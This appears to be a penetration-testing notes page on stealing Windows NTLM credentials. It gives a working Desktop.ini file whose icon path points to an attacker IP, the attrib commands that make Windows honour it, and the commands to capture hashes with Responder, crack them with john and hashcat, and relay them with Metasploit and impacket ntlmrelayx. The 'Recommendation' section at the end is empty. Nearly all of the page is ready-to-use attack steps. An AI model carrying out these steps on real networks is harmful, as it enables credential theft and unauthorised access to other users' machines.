TLDR

Background

Goal: Steal NTLM-hash or a challenge-response handshake.
Goal: Perform a relay attack to authenticate against a server.

There are many ways to trick computers into sending the authenticated user's NTLM hashes.

Desktop.ini files

Find a commonly used share where your user has write permissions. See SMB Shares Mining for how to find writable shares. The folder cannot be the root-folder of the share. So if you have write-access to the root of the share you can just create a folder there.

Name the folder `0Dcouments` or something like that. If the folder that is writable contains many folders the folder lower down won't be "rendered" until the user scrolls down. So naming you folder somthing with a `0` garantes that it will be rendered early.

Create `desktop.ini` file on an SMB-share used by other users. Viewing the share in explorer will cause a request for a resource, allowing the capture or relay of NTLM-challenge responses.

Filename: Desktop.ini

```
[.ShellClassInfo]
IconFile=\\10.13.37.100\test\test.ico
IconIndex=0
```

The folder in which the Desktop.ini file in needs to be configured with the system flag.

```
attrib +s <path-to-folder>
```

We need to now also set desktop.ini to be hidden and system before windows will respect it.

```
attrib +s +h desktop.ini
```

Placing this on a commonly visited network share, will trick the victim's computer into authenticating towards the specified IP. This can be used in NTLM-relaying attacks, or to steal the challenge-response and run hashcat on it

Capture Challenge Response and Crack the Hash

When the victim enters the share the victim machine will try to authenticate to your attacker-machine, and using responder we can retreive the NTLM hash of the victim.

** IMPORTANT DO NOT RUN RESPONDER WITHOUT the `-A` flag unless you know what you are doing **
It will poison and other suff. `-A` will make it passive, analyzing mode.

```
responder -v -A -I eth0
```

Now once responder has recorded the challenge/response it is stored in a logfile found here (on kali):

```
/usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.66.10.txt
```

If you don't want to use responder you can use tcpdump, and the use `pcredz`. It will find the authentications that are used. Not sure how well it works with challenge-response though.

Cracking the Hash

With John:

```
john SMB-NTLMv2-SSP-192.168.66.10.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

With Hashcat:

```
hashcat -m 5600 -a 3 --force /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.66.10.txt /usr/share/wordlists/rockyou.txt
```

Relaying

Metasploit

```
use windows/smb/smb_relay


# SMBHOST  192.168.66.88    no        The target SMB server (leave empty for originating system)

set SMBHOST <ANY host that you think the user has Admin access to>

# Set the payload you want
```

The authentication actually worked but I got no shell when I tested it. Not sure why.

Impacket

The same thing can be done with impacket.

If no command is entered the default behaviour is to dump all the users hashes if the authenticated user is an administrator of course.

```
sudo ./ntlmrelayx.py -t 192.168.66.88 -c whoami
```

Recommendation